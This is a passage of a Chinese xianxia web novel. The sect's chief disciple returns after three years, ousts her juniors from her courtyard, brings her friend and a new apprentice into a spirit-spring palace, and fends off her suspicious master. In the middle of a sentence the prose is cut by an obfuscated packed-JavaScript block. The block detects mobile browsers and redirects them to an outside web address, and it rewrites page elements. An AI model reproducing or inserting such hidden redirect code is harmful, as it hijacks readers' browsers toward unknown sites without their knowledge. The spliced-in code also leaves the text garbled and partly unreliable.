她目光如浮光掠影,飞快从两个弟子身上飘过,却依旧极具压迫感,两个小弟子嘴唇翕张,正要开口—— 忽而听闻身后传来脚步声,连忙一左一右侧开身,让出道路来。 正正是云若雪那三个师弟师妹。 “师,师姐。”乌鸿身形一僵,看云若雪站在院落前,被软韧的结界拦在门外,还有什么不明白,顿时心虚起来。 “怎么回事?”她冷声质问。 先前那两个小弟子见情况不对,生怕殃及池鱼,一溜烟跑了老远,退到众人身后,眼里又迸发出好奇的光芒,舍不得将脚挪到最佳吃瓜范围之外。 乌鸿入宗门时正是年少,那时师兄谢铮和师尊谢晟都忙着闭关修炼,往往在洞府中一待就是三两个月,出关的时间也很短暂,根本没工夫搭理他,因而他最先是跟在云若雪身边修行。 现在回想起那些日子,云若雪对人对事都极为严苛,对自己更严苛,在她手下的弟子常年怨声载道,还不敢轻易发作。 虽然后来谢铮与谢晟陆续结束闭关,他修为上涨,渐渐有超过云若雪的趋势,因而便改换师长,跟着他们二人修炼。 但而今三年不见,一时陌生,忽然对上云若雪冷冰冰的眼神,立马勾起了他“不堪回首”的记忆,下意识心尖一抖,忙不迭后撤半步,以谢铮为掩体,轻轻将他推出去,“师兄,你来说。” 谢铮嘴唇翕动,气氛一时凝固。 云若雪瞧了眼面前的三人便已猜到了事情的真相,目光定定落在江丛莹身上,抱臂而立,确是对着二师弟谢铮发难,“说吧。” “小师妹当初体内余毒未消,师姐的院子是宗门中灵气最盛的地方,小师妹在这儿养伤也方便些……” 她闻言不置可否,拉了把站在一旁默默装死人,全程看戏的亘白,侧开身,将宽阔气派的朱色大门让出来,伸手遥遥一指。 “既然我回来了,那就去从哪儿搬来的就搬回哪儿去吧。”说着,她蹙了蹙眉,补充道,“动作麻利些。” 她不太喜欢旁人动自己的东西,但这院子确实是宗门内灵气汇聚的风水宝地,在这儿修炼事半功倍,她绝不可能轻易放手。 江丛莹一拂袖,结界洞开,门扉晃了晃,金色门环口叩击出清脆的声响,向内缓缓亮出一条道。 “师姐,这院子我住了许久,其中物件一时半会儿清点不出,可否……” 云若雪不耐打断,“何时轮到你对我指手画脚了?” 此言一出,已是极尽刻薄。 江丛莹自东州来,千里迢迢拜师谢晟,背井离乡,原本是泾谷江氏里千娇百宠的大小姐,从未听过一句难听的话,而今居然在众目睽睽之下被人这般呵斥。 “师姐!”乌鸿连忙将小师妹护在身后,“当初本就是你下毒……” 话音未落。 不远处传来一道呵斥,“住口!” 云若雪身形一顿,放下环抱的手臂,脸上不耐且烦躁的表情消散无踪,朝着声源处看去,一眼便在人群中瞧见了三年不见的好友。 一对上眼神。 孟檀还是熟悉的装束,深紫色的弟子服,宽袍华服,绣着凶兽暗纹,狰狞肃穆。束腰收紧,衬得她身高腿长,眉眼立体且精致,又冷又艳,胜过隆冬的寒梅。 腰间只简简单单挂着一枚戒律堂的身份牌,更是教人轻易不敢靠近。 她急匆匆掠过人群跑上前来,推开眼前碍手碍脚的三个剑尊弟子,围着云若雪上下打量,看了又看,眉头皱得能夹死苍蝇。 出门一趟,她这好友不仅瘦了一圈,周身修为更是大受折损,也不知受了多少伤,遭了多少罪,连护体的法衣都烂了,灵气溃散,沦为废品。 而且—— 她总觉得云若雪周身气息怪怪的,却说不出到底是哪里出了问题,想进一步查探,但众目睽睽之下难免冒犯到隐私,只能一脸狐疑地收回目光。 从始至终没工夫理会旁边多出来的亘白。 一回身,狠狠瞪向乌鸿。 “尊上早就说过,旧事翻篇,当年之事宗门上下不许有人再私下议论。乌鸿,别以为尊上闭关就没人能收拾你!” 乌鸿还想争辩两句,云若雪却不愿再听,摆摆手。 “行了,院子的事……我给你们三天时间。”她看了相较于三年前陈设大变样的院落,简直糟心,眉头又皱起,到底没说重话,“三天后给我恢复原样。” 说罢,她懒得再多看那三人一眼,拽上便宜徒弟便跟孟檀一道离开。 亘白一脸莫名,被人拉着来又拉着离开,完全处在状况外。 这一路,云若雪冷心冷清,对谁都不假辞色,有时候甚至称得上冷酷绝情,现下居然冒出来个女修,难得能让她给几分好颜色,实在是稀奇。 人走戏散,那些站在角落里远远朝这边张望的仙宗弟子们见人走了,也三三两两跟着散了。 本以为能看到两拨人“切磋”一番,真是白等一场。 故友久别重逢,云若雪和孟檀两人都心情明快。 有一搭没一搭地聊起来。 “可终于舍得回来了,咱们太虚宗的首席大弟子,再晚一点我还真担心你死在外面。” 孟檀絮絮叨叨说着,“你说你,当年就算留在暗狱中,旁人也不敢拿你怎样,就当是闭关修炼一段时间……” “再看看如今,出去一趟,修为都折损得差不多了……这门中随便一个弟子拎出来怕是都能把你按在地上打。” “好了好了。”云若雪抬手打住,对好友啰嗦的嘱咐实在无力招架,半笑着,只是笑意被脸上的面具遮去,便显得她话中别有深意,“你知道我此次下山是为了什么。” “这……”孟檀面上神情一僵,眸光晦涩,瞥向一路被二人晾在一边的亘白,又迅速恢复成云淡风轻的模样。 “出去一趟就带个人回来,不让我认识认识?” “亘白,我新收的徒弟。” “哦哟,那这不就是我的师侄吗。”孟檀眉梢一挑眉,做出一脸惊喜的表情,“亘白,亘师侄,日后在这太虚宗就报我孟檀的名字,保你横着走。” “那晚辈先谢过孟师叔了。”亘白回以微笑,咬牙切齿才说完这句话。 能跟云若雪这种女魔头凑在一起的能是什么好人! 云若雪领着二人穿过重重高墙墙,掠过数不清的宫殿和院景,步步攀上石阶。 “三年不见,你倒学会以权谋私了。” “不以权谋私怕是要被那些仗势欺人的人给欺负了去。” 孟檀三两步追上她,二人比肩前行。 三年前,云若雪前受到处罚,自请下山历练,后脚琼华院便被人占了去,她出言反对,到几个长老跟前上书抗议。 到底胳膊拗不过大腿,比不上仙尊的亲传弟子有话语权。 几人行至高处。 一抬头,遥遥望见一座白玉般的楼宇,日光下浸润在柔和的光辉里,就那么孑然矗立,仿佛落入碧海的明珠。 “你怎么来这儿了?”孟檀喃喃一句,忽然反应过来,“住不了琼华院,你居然想跑到灵泉宫来!” “不行吗?” “可,可以吧……”她难得结巴了一回。 这太虚宗上下,虽说琼华院是峰中灵气最盛之地,但那仅仅是相较于宗门中众多弟子和长老的寝殿居所而言。 至于灵泉宫…… 一池万年灵泉水集天地之精华,流淌滋养,在那一方小天地里独独构造出一片福地洞天,门中无数弟子趋之若鹜,却是连靠近都不得。 只有极少数天骄,为宗门做出巨大贡献,或是碰上好几个宗门间大比切磋,夺得魁首者才可进入其中修炼。 “是谁方才说的,不以权谋私就要被人欺负,你也该知道我不是个能吃亏的人。” 孟檀闻言讪讪一笑,“那当然,您可是这宗门上下的首席弟子,有尊上特批,区区灵泉宫,还不是想进就进!” 说着,她连忙挽上云若雪的胳膊,一脸狗腿。 “那云首席,可否带小的进去开开眼?” 云若雪扶额,受不了她浮夸的表情。 “走吧,别忘了派人去琼华院催促催促,我可不想三天后还被人占着院子。” “遵命!” 她恨不得给久别而归的好友磕一个,立马便掐诀传了口信,吩咐戒律堂的小弟子前来催促,生怕“财神爷”责怪办事不力。 云若雪哑然失笑。 灵泉宫啊…… 这宫殿里的灵泉水还是她当年随谢晟四处奔波流离时偶然所获,一直小心收存着。 后来建造起太虚宗,才开辟出了这一方宫殿,修得外观华丽,飘逸灵动,将灵泉水存放于此,供有天赋的弟子修炼所用。 那时候她太笨拙,生就一副凡人骨,于修炼上处处是桎梏,处处有瓶颈,琼华院那充沛的灵气就够她用了,甚至算暴殄天物,到灵泉宫来也是无济于事。 因而她从未动用过这项“特权”。 从今往后,再也不会了。 她抬手亮出身份牌,看护在此的两个弟子左右交换眼神,不敢阻拦,恭恭敬敬拱手行礼,“参见大师姐。” 他们值守在此,方才听闻钟声响彻山谷,徘徊于楼宇之间,正好奇不知是哪位长老弄出的阵仗,没料到原是外出三载的宗门首席回来了。 结界洞开。 云若雪光明正大带着两人进去。 “你怎么把他也带进来了?”孟檀瞥了眼亘白,颇为不恁。 她跟云若雪多年的生死交情,都少有能让对方破例带她进来的,这死小子,才刚到太虚宗一天呢就占这么大个便宜! 既没有修炼基础,一副凡人之躯,又没有拜师大典,没被堂堂正正纳入宗门名册。 “行了,快跟上。”云若雪朝她招手。 “好嘞!” 踏入殿中。 一股清风挟浓郁的灵气扑面而来,深呼吸一口气,顿时解了一身疲乏,仿佛浸在温水里,全身上下每一寸肌肤都得到滋养。 孟檀兴奋得头皮发麻。 她可太想到这儿来修炼了,却又次次抢不到名额,这跟饥肠辘辘时一块肥肉摆在前面却不能吃有什么区别!看到得不到,简直让她抓心挠肝。 云若雪一步步朝里走。 汉白玉铺成地砖,雕花篆草,微浅的刻痕在地面上绘制出复杂的纹路,灵气浓郁到几乎凝结成实质,白雾一般从地面缓缓冒出。 正殿中雾气缭绕,仿若人间仙境。 午后阳光斜斜从窗棂漏进来,光线路径清晰可见,直直落到地上,勾勒出菱形的光斑,在一片浮沉的水雾之间,光影流动,碎金摇晃。 她在修炼上从来都刻苦远超旁人,哪怕囿于这一副躯体,也一日不曾懈怠。 此刻,一踏入殿宇中,躯体便下意识调动周遭灵气,一呼一吸,一举一动,都在疯狂补偿往昔岁月里那些不甘的挣扎,得偿所愿。 不过片刻,便恢复了修为。 亘白虽觉神清气爽,到底没被太大的反应,毕竟他修为已废,如今凡人一个,也不敢在这太虚宗内贸然重修邪道。 万一云若雪也保不住他,那就是真的自寻死路,买一送一。 只是这殿中的装潢让他大开眼界。 正殿中央悬着盏琉璃灯,灯架镂空,雕琢得极其精美,枝叶交缠,镶嵌着薄如蝉翼的玉髓,日光透过,映射出斑斓的虹彩。 “快走吧。”云若雪一句话拉回正失神的孟檀和亘白。 “走?去哪儿?”孟檀呆呆愣愣的,仿佛被刚被人夺了神魄一般。 她往昔也进来过几次,但都是浅尝辄止,堪堪停在宫殿入口处,没再深入…… 今日,莫非云若雪还想带她多参观参观? 思及此,她顿时眼前一亮。 “走走走!马上走!” 殿宇中回廊百折,透明的水晶折射出三人的身影,拉长了体型,光影模糊万物,愈发显得神秘飘忽。 云若雪熟门熟路,明明是不常来的人,明明三载未归,却像是在这儿走过千百遍,悠悠然领着两人越过重重紧闭的门扉。 止步于一隅。 取下腰牌,注入灵力,验证身份。 便听轰然一阵响,玉白色大门缓缓开启。 孟檀仰头看去,墨玉牌匾上镌刻“经阁”二字,一笔一划,工工整整,就是这字迹略显……稚嫩,还有些,嗯,熟悉? “咱们太虚宗不是有藏经阁吗?这里面居然还藏着一个?”孟檀面上疑窦丛生,忽然灵光一闪,一拍脑袋,“这牌匾不会是你写的吧?我说怎么这么难看!” 云若雪咬咬牙,深呼吸一口气,没搭理她。 “确实是有些……” 亘白正想随声附和,倏然,云若雪冷眼扫过,他顿时一个激灵,非常识时务地转变话锋,“确实是有些独特,独特好啊,独特好……” 云若雪收回目光,率先跨过门槛。 经阁内部空间宽阔,玉石凿刻的旋转楼梯层层攀援向上,似一条白纱从天际坠落,以一个优美而流畅的弧度构造出一面恢弘的场景。 四壁墙面高耸,同样内嵌书架,一丛丛玉石格子密密麻麻排布,和矗立在地面上的书架共同铸就一副奇观。 孟檀倒吸一口凉气,屏息凝神。 这……这灵泉宫经阁的规模,可丝毫不比宗门中那专门的藏经阁小。 云若雪飞快从排排架子里找出一本功法,一扬手,玉卷砸入亘白怀中,他胳膊一痛,手忙脚乱才接住。 “做什么?” “拿好,跟上。” 说罢,她快步绕过书架走向一道暗门,触碰机关,嵌在墙上的书架左右两边打开一条通道,通道两边是两排独立的静室,左右各三间,门扉紧闭。 云若雪随手推开一扇门,抬手指了指,亘白下意识踏入其中。 “一本基础功法,你拿着,自己练。” 说罢,她就欲关门。 “唉,等等等等——”亘白忙不迭伸手,一只手扒着门框不放。 心里千言万语就想脱口而出,可一对上云若雪冷淡的眼神,余光中孟檀的影子晃了几晃,便是压迫感十足的存在,顿时哑口无言。 这简直就是“绑架”! 却是他与云若雪的合谋。 他永远不会拿自己的命去赌,只能忍下。 “怎么了?”云若雪瞧着他,面具下唇角微勾,眼里似笑而非,难得的坏心眼。 “没事。”亘白咬牙切齿,攥着玉卷的手指咯咯作响,“多谢师父赐教,徒儿一定好,好修炼,绝不辜负师父的一片心意。” 房门阖上。 隔着逐渐变窄的门缝,亘白一双眼狠狠瞪向她,恨不能眼神可以杀人。 云若雪视而不见,神色淡定引着处在状况外的孟檀穿过两旁的静室。 复行数十步,豁然开朗。 孟檀这一路上已经看呆了,再见到什么也不会觉得惊奇。 支立的鹤形灯盏中火光跳动,灯下摆着一张长长的寒玉桌,案面光可鉴人,铺开几张雪白的宣纸,墨锭斜斜搁在砚池边,砚台边缘墨痕已干涸。 博古架和白玉屏风隔开空间,各类摆件和功法卷册杂乱堆砌,一旁的花瓶里斜插着一枝腊梅,早已经枯黄凋敝,花瓣三三两两洒落地面,香气也散了。 “坐。”云若雪指了指对身的蒲团,先席地而坐。 孟檀抬手摸上玉石案几,质地温润,左顾右盼,一时新奇。 “这花瓶里的花都谢了。” “它本非灵物,就是待在这儿也开不长久。” 她这话回复得别有深意,不知是在说花还是在说人。 孟檀一愣,听出她的弦外之音,笑着岔开话题,“罢了罢了,不提什么枯萎的梅花,你还没跟我好好交待这三年到底发生了什么。” 话到此处,她略微停顿,犹犹豫豫才接着说道: “你此次上山,我总感觉不太一样……还有那个小徒弟,你怎么会忽然收徒?” 以她对云若雪的了解…… 一天到晚十二个时辰,她恨不得十一个时辰都用来修炼,若非身为首席弟子职责不可推卸,根本不愿意搭理宗门里那些耗神费力的事,哪里会自找麻烦给自己收个徒弟带在身边? 云若雪却只是摇摇头,将身前的宣纸规整到一边,“阿檀,你该知我下山的目的,他就是我要找的……‘劫’。” 说不上来的感觉—— 只是在那狭窄的山洞中,他们彼此算计却不得不以神魂做赌注,被迫绑在一起的时候……她好似得到了什么启示,整个人都兴奋起来。 以至于她事后回想,无比确信。 就是他。 “什么劫?”孟檀音量拔高,惊愕不已,“他不过区区一介凡人,怎么可能……你何必听当初那疯老婆子胡言乱语?” 云若雪垂眸思索,不为所动。 孟檀知她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128437|180164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最擅一意孤行,难免急切,“若雪,命数天定,你可知你会冒多大的险?” “像以前一样不好吗?这太虚宗上下,看在仙尊的面子上,无人敢冒犯你……” “好了!”云若雪蹙眉打断,“这不是我想要的。” 下一刻,抬手指向案几旁的花瓶,“那株折下的腊梅本非灵物,就算留在这灵气充沛的灵泉宫,也终究有凋落的一天。” “可……”她犹豫了。 “我生来一副凡骨,如果没有年少时那场意外……永永远远,我只会是一个普通的村姑,按部就班走完凡人短暂的一生。永永远远不会知道山外有山,不会窥见大道如青天。” 云若雪轻轻一叹,“可是,这老天偏偏让我见到了。我怎么可能甘心……” “我耗费了上百年的时间验证,好像无论怎么勤勉,日夜不辍,都不及旁人随随便便的参悟来得轻而易举……但我还是不甘心。” 如果旧日她是朝生暮死的蜉蝣,是蝼蚁之辈,命如草芥,任人摆布。那么往后,要她怎么甘心?她也不可能甘心。 孟檀静静望着她。 望进她藏在面具下那双熠熠生辉的眸子。 永远不屈不挠。 “罢了,我劝不住你。”她收回案几上的手,藏进沉紫色袖子里,紧绷的身体松懈下来,不再强求,“那你总该跟我交待交待那亘白的来历……你们是怎么碰上的?” 云若雪摇摇头,不愿多言。 “好好好,什么都不告诉我。”孟檀翻了个白眼,半开玩笑着,“那你打算什么时候办个拜师仪式,将他的名字纳入宗门名册,篆刻弟子牌?” 云若雪微微一愣,略一思索,也想不出个结果,含糊道,“等过几天再说吧。” 终于,她想起了自己还有个师父。 “师父这几日又闭关了吗?” “你说仙尊啊,他三年前就闭关了。”孟檀一摊手,耸耸肩,“就在你下山没多久,宗门内风言风语甚嚣尘上,他下令不许有人再谈,后面剑山峰顶落了结界,剑气比以前简直凶悍不知道多少倍,就是如今,望云殿也是谁都靠近不了。” 云若雪点点头,没有多余的反应。 她与谢晟一路相互扶持走到而今,虽数次同生共死,但却并无多深厚的感情。他能出面帮她说说话,已是难得。 “当初那件事也是邪门得很,江丛莹……何必如此?” 孟檀始终想不明白。 当年,江丛莹刚拜入师门不久,又是东州江氏嫡系,千娇百宠的大小姐,何必要诬陷云若雪……可她清楚,云若雪绝不是那种会下毒戕害同门的人。 若非要说这一切是场误会,那更是不可能。 板上钉钉的证据摆在眼前,每一个都那么准确无误地指向宗门首席,若说不是有人设计陷害,哪里会有这样的巧合? 云若雪摇摇头,不愿再提当年事。 “三日后,等琼华院整理出来,我住回去……拜师一事,也一并安排了吧,让宗门内几个长老做个见证就好。” “等等?”孟檀一惊,“你还真准备收他为徒啊?” 云若雪抬眸看她,一脸“那不然呢”的疑惑表情。 “他不是……” 云若雪打断,“正因如此,我才要应这个‘劫’。” 孟檀嘴唇一张一合,半天说不出话来。 最后只能顿首,吐出两个字,“随你。” 人都已经带回来了,有些事是挡不住的,云若雪也不是个听劝的人,她于这一时一地从中阻挠也没有意思,倒不如放手…… 天道有情,自不会让云若雪那般执著刻苦的人怀抱遗憾。 而她唯一能做的,就是静静看着,必要时拉她一把。 “出门是静室,经阁的藏书任君取用,自便吧。”云若雪抬手指了指出口,“只有三日,你可得抓紧时间。” 孟檀思绪顿时回笼。 也管不得什么劫难,什么收徒了,慌慌张张站起身,急得直跺脚,“就不该跟你说这么多,浪费时间!” 匆忙丢下一句,“走了!” 摆摆手,紫色人影一晃,如一阵风般飘远了。 远远的,连半分衣角都望不见,只剩下紧闭的门扉。 一室寂静。 云若雪站起身,指尖缓缓冒出一簇云雾般的灵力,在白皙修长的指尖聚拢又分散,任由她漫不经心把玩。 抬手,在这方小天地里落下结界,隔断外界的干扰和窥探。 重新回到案几前,屈膝坐下,唤出一面水镜。 摘下面具,脸上的尸斑早没了,只是面具本身不太贴合面部轮廓,在她鼻梁上留下了一道压痕,浅浅的月牙形,嫩生生的,印在白皙上的皮肤上显得格外眨眼。 “铿——” 门口一声清脆的响动。 是谢晟! 她心尖猛地一颤,水镜溃散成沫,蒸发般消失。 惊慌中她下意识重新戴上面具,匆忙站起身,又踩到了裙摆,膝盖重重撞上案几,痛倒是不痛,只有一阵沉闷的感觉。 顾不得其他,忙不迭挥手解开拦在门口的结界,垂首行礼,“师父。” 谢晟只携一股冷冽的寒风踏入。 没得到回应,云若雪直起身,抬眼看去。 正正撞上仙尊的目光。 斯人如玉,挺拔颀长,细看,却更像一柄锋芒难掩的利剑,裹在翩翩道袍里,白衣胜雪,往那儿一站,便教人不敢僭越,不敢直视。 三载未见,他还是跟从前一样,一双琉璃色的眸子,颜色极浅极淡,漫不经心扫过周遭一切,从来不会在某一个人或物上驻留。 只是此刻似乎较之三年前更冷清,更疏离。 “脸怎么了?”谢晟嗓音略有些沙哑,大抵是刚刚从闭关的洞府出来,还未在路上与旁人说上话。 “无事。”云若雪缓缓轻呼出一口气,暂时松懈下浑身戒备,向后退一步,抬手引谢晟到案几前坐下,姿态恭敬。 相对而坐。 云若雪早已平复好心绪,缓缓摘下面具。 谢晟目光在她鼻梁边上的月牙印记上停滞一瞬,流动向堆砌在蒲团周围的裙摆,却被低矮的案几遮住视线,眉头微不可察一蹙。 “怎么弄成这样?” 云若雪一头雾水,直到发现谢晟的目光落在自己周身跟乞丐差不多的装束上,才反应过来,语气轻松,“路上遇到些意外,都解决了。” 谢晟闻言眉头皱得更紧。 他面上一向无甚表情,教人难辨心绪,尤其在报仇雪恨,名扬四海后,褪去了少年人的意气,内敛沉稳了许多。 此刻却是毫不掩饰的不悦。 云若雪不知他哪里冒出来的脾气,简直莫名其妙。 自己这身装束狼狈是狼狈了些,但以前狼狈的时候可比现在狼狈多了,为了躲避仇敌追杀,混在街边乞丐堆里都是常有的事。 这是在矫情什么? “为何不唤凌云?” “都是小事,弟子可以应付。”云若雪捏着自己的手指,心里松懈的弦又紧绷起来,暗自戒备。 她是可以召唤谢晟的凌云剑寻求庇护,可惊动眼前之人,又怎么能有她如今的奇遇?成为傀儡的每分每秒,她都只觉一股源自灵魂深处的战栗、欢欣和兴奋。 谢晟默然,这个回答完全在他意料之内,半晌,他不再深究,话锋一转,“去药峰找长老看看,一会儿我遣人送些东西到琼华院。” “不必了!” 云若雪闻言惊得汗毛倒竖,去药峰?见长老?那不是妥妥的自爆吗!太虚仙宗,名门正派,怎么容得下她这般剑走偏锋,偏入歧途? 她忙不迭起身,抬手送客。 “多谢师尊关心,师尊刚刚出关,想必门中还有大小事宜等着需要决断,刚刚薛长老还在向弟子打听……您不如前去看看。” 谢晟一愣。 未等他反应,却被云若雪三两步绕过案几,半拉着胳膊从绣金莲花纹蒲团上“扶”起来,三两下推着到门口。 “师父,我看薛长老当时神态焦急,想必是有大事,您莫要耽误,速速去查看一番,弟子心里有数,就不劳您费心了!” 话落,谢晟半只脚已被迫迈出门外。 他回头一看。 云若雪倚在门边,将入口挡了个严严实实,恭恭敬敬做出一个“请”的姿势,脸上挂起让人挑不出错的笑,敷衍又虚假,“师父,快去吧。” 他被那笑容恍了神。 一瞬间脑中浮现出无数个熟悉的画面,各种环境,各种衣着,各种形势,但好像从来……云若雪都是这样的笑,细节分毫不差,疏离,冷淡,心情永远不达眼底。 门扉阖上,视线遮蔽。 他只看了一眼,也看不真切,疑心是自己多虑,不过无谓的错觉。 一回身,拂袖离去。 云若雪脸上的假笑迟迟没有收敛,扶着门框,直到感知到那抹熟悉的气息彻底远去,才稍稍松口气,靠着墙缓缓滑坐到地上,闭目养神。 她倒是不担心随口扯出来做挡箭牌的薛长老,毕竟戒律堂薛长老,孟檀的师父,那是出了名的喜欢“未雨绸缪”,一点鸡毛蒜皮的小事都想管理得井井有条。偏偏人又较真,刚正不阿,缠上了谁,那是轻易不会被甩掉。 谢晟闭关三载,宗门内大小事务数不胜数,他虽鲜少搭理,但架不住长老热情。如今闭关结束,他不去找薛长老,薛长老听到风声都怕是要来主动找他。 云若雪是不怕被拆穿的。 让她担心的是—— 谢晟本身。 谢晟本就出生世家,于修炼上天赋异禀,从小的修炼基础也牢靠,前些年为了复仇,勤勉不辍,后来建立太虚宗,也不曾懈怠,日积月累,法力不可谓不深厚。 云若雪真怕对方肆无忌惮地认真窥探,那么她如今使用的小小障眼法不过是班门弄斧,轻易就能被识破。 而她……暂时还不想离开这儿。 太虚宗外面的世界竞争残酷,资源宝贵,留在这儿,她还能安安稳稳地修炼,不用流离亡命,浴血厮杀。 她这些年为宗门殚精竭虑,鞠躬尽瘁,这些都是她应得的。 睁开眼,她已恢复了冷静。 5. 不会的 重新落下结界。 云若雪起身到蒲团上安坐,掠过案几旁的另一个蒲团时,卷起的风里糅杂着一股遗留下来的冷冽松香,非常嚣张霸道地彰显着主人的存在感,哪怕他已离去多时。 转眼三日匆匆过去。 云若雪已许久没有这般修炼沉浸在修炼中,酣畅淋漓。 往昔在太虚宗,要过问门中大小事务,偶尔陪同弟子外出历练,虽不会有什么大的波澜,但也难得空闲。 独自外出的那三年,更是一路风霜曲折。 “叩叩叩—— 门被敲了三声,云若雪正想查探,孟檀的声音先大喇喇传进来,“首席大人!三日之期已到!您的琼华院已经收拾出来了!” 她一时汗颜,挥手解开结界。 “哟,你怎么还是这副打扮?”孟檀见了她的样子着实一惊,说不出来什么感觉……就是感觉云若雪似乎跟三天前……一模一样? 似乎也不能这么说,任哪个人来了,短短三天时间也不能有什么变化,孟檀思忖着,还是觉得说不出的异样。 “储物袋在外损毁了,这灵泉宫中没有备别的法衣。” “这样啊。”孟檀被她的理由说服,也疑心自己多虑,环视一圈屋内,眸光流转,“你那小徒儿呢?还在静室?就丢了一本功法给人家参悟,你个当师父的也不去指导指导。” “走吧,去看看。” 说着,她已雷厉风行踏出门去。 “唉等等等,等等我。”孟檀紧追上去,紧接着八卦起来,“仙尊前几日出关,剑山峰顶的剑气也消停了不少,他是不是来找你了?你们见过了?” “这么好奇?”云若雪挑眉,斜睨她一眼。 孟檀闻言顿时更加精神,“那你倒是说说啊。” “好奇就自己去问仙尊吧。”云若雪停在静室门前,一只手已经落在门栓上,微微侧头,笑着看她,“我不介意带你上望云殿坐坐。” 说罢,她推开门。 “哎,别了别了!”孟檀讪讪一笑,连忙摆手拒绝,“那山上冷死了,鸟不拉屎的,我才不去。” 静室内。 空无一人。 孟檀越过云若雪的肩膀探头张望,这小小的空间里愣是找不出半个人影,只有低矮的紫檀木案几摆在中央,桌上放着那卷基础功法,四个蒲团随意散布着,显然被人用脚狠狠蹂.躏发泄过。 墙角下,香炉里白烟袅袅升起。 “他出去了?” “就在里面,我在门口下了禁制,他出不去。”云若雪顺势侧开身,主动让出一条路来。 眼角却不自觉浮出一抹笑。 “什么里面?里面明明就没人。”孟檀不明所以,大大咧咧一步跨进去—— 下一刻,耳畔轰然炸开一声巨响,仿佛天崩地裂,便有千钧之力迎头砸下,要压向她挺拔的脊梁。 孟檀下意识抬手,指尖拈一张黄色防御型符纸,与落下的法咒之力铿然相撞,手腕震得一麻,纸面上朱砂簌簌燃烧,飘落一地飞灰。 “雕虫小技。” 她拍拍淋在肩头的符纸灰,一脸嫌弃,深入屋中,三两下将使用了变小术后身形缩小,躲在墙角香炉后面的亘白揪了出来。 “唉唉唉,轻点轻点!”他被抓得痛了,连声叫唤着,几次想甩开孟檀钳制住他胳膊的手,都甩不开。 “让你小子不老实,刚学会点法术就敢出来班门弄斧。” 亘白不服气,梗着脖子不吭声。 “好了,我们出去吧。”云若雪主动站出来打圆场,唇边浅浅的笑意还没来得及收敛,“阿檀,你先松开。” 孟檀忽然目光凌厉瞥向她,刚好捕捉到她唇角飞快抹平的弧度,瞬间反应过来,“你早看出来这小子不老实!怪不得主动让我先进!” 云若雪不接茬,只是让开门口的路,招手示意二人跟上。 这点雕虫小技她早不知道经历过多少次了,还不会放在眼里。 当年,乌鸿自东州乌氏千里迢迢来太虚宗拜师,到底年少,心性顽劣,又是被家中长辈的棍棒逼迫着独自出远门,心里千万个不愿意,难免不平衡。 一到太虚宗,刚跟谢晟碰了个面,规规矩矩完成了拜师礼。后脚,谢晟闭关突破,将这难缠的大包袱丢给了她,她也只能履行大师姐的职责,老老实实担负上教育“刺头”的责任。 那时,乌鸿可比现在的亘白恐怖多了。 他本就出身世家,身上携带的法宝和符箓简直千奇百怪,在修炼上又颇有天赋,总能捣鼓出些“阴损”的东西,防不胜防,以至于云若雪后来对身边的各种物品都格外警惕,在各种熟悉或者不熟悉的环境里都能将戒心拉满。 方才她手指刚一碰上静室门扉,便已经觉察到了不对劲,刻意让开了路,想看看孟檀的反应,倒也在她意料之内。 离开灵泉宫。 三人缓缓行在仙门盘旋无尽头的石阶上,一步一步,头顶上时不时掠过几抹剑光,乍看上去纷乱无比,细看却发现井然有序。 穿梭在云霞中的白鸟尽职尽责,振动羽翼,声声啼鸣,指挥穿行的利刃,有条不紊。 孟檀一边下意识揉着早已恢复如常的手腕,一边看向亘白,语气欣慰,“你小子还算有点天赋,短短三天时间就能参悟功法,引天地灵气入体,不错啊!” 说着,她拍了拍云若雪的肩膀,语气揶揄。 “出门一趟就能捡到这种好苗子,日后太虚宗招收新弟子……你去当个吉祥物,说不定再过个几十年,咱们宗门就能纳尽九州四海的天骄。” 云若雪懒得搭理她,只用余光瞥了眼亘白。 亘白被她这么一瞧,一阵心虚,默默移开目光。 他和云若雪彼此心知肚明,他才不是什么短短三天就能凭借一部功法自行参悟,踏入仙途修炼的凡人,不过是先前有基础,再入仙途就容易许多。 但…… 这可不好解释。 太虚宗规模巨大,丛峰绵延,走了一阵,云若雪实在嫌步行遥远,索性唤出欺霜剑,拉上亘 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云若雪偏偏不如她的意,微微一侧身,身法灵活,飞快避开,“你那儿的好东西也不少,怎么不给我看看?” “不看就不看,小气。”孟檀撇撇嘴。 下一刻,手臂便被瓷白的小瓶砸中,沿着柔软的绸缎滚落向下,她下意识伸手一捞,牵动宽袖翩跹,指尖把玩着,冰冰凉凉的。 “这是什么?”她将装丹药的小瓶子放在鼻子下嗅了嗅,顿时眼前一亮,“这不是焕颜丹吗?你怎么给我了?” “你收着吧,用不上还能卖给别的弟子换点灵石。”云若雪不欲多解释,一挥衣袖便开了门,结界缓缓向两边拉开一道缝隙,率先迈过门槛,踏入阔别三年的琼华院中。 仙途路漫漫,动辄便是数年,数十年,数百年。以前她修行艰难,偶尔修为上涨的速度跟不上容颜衰老的速度,便会显现疲态。 这丹药虽名为焕颜丹,但并不仅仅只是能维持容颜完美,还能淬炼体质,补气血,增强精力。 以前她还能用得上,至于现在嘛…… 她一个傀儡之身,若是不使用傀儡术更换体型外貌,或碰上暴力攻击,那这副躯体就是固定的不变的,哪儿还用得上什么焕颜丹? “你真不要了?”孟檀急忙跟上她,提高嗓门,“这可是上品丹药,服用一粒,效果能保持十年!可别下次见你的时候,你就变成了个老太婆!” 云若雪闻言忽然顿住脚步,停在正殿外,隔着台阶,短短几步路,开口回孟檀的话,目光却落入一片虚空中,叹息一般,“不会的。” 说罢,她一步步踏上石阶。 殿宇侧面的长廊上挂着一串风铃,此时风声呜呜,风铃也跟着转啊转,撞击出清脆的响声,如潮水般,淹没了她短暂的迷思。 她从来不觉得变老是一件坏事。 她也再不会有变老的机会。 6. 未可知 三人在正厅中央站定。 孟檀正回想方才云若雪那句别有深意的话,没想出个所以然,便听见殿门口远远传来一道耳熟的人声,尾音上扬是稚气未脱的青涩,间或沉下几分,抑扬顿挫,格外悦耳。 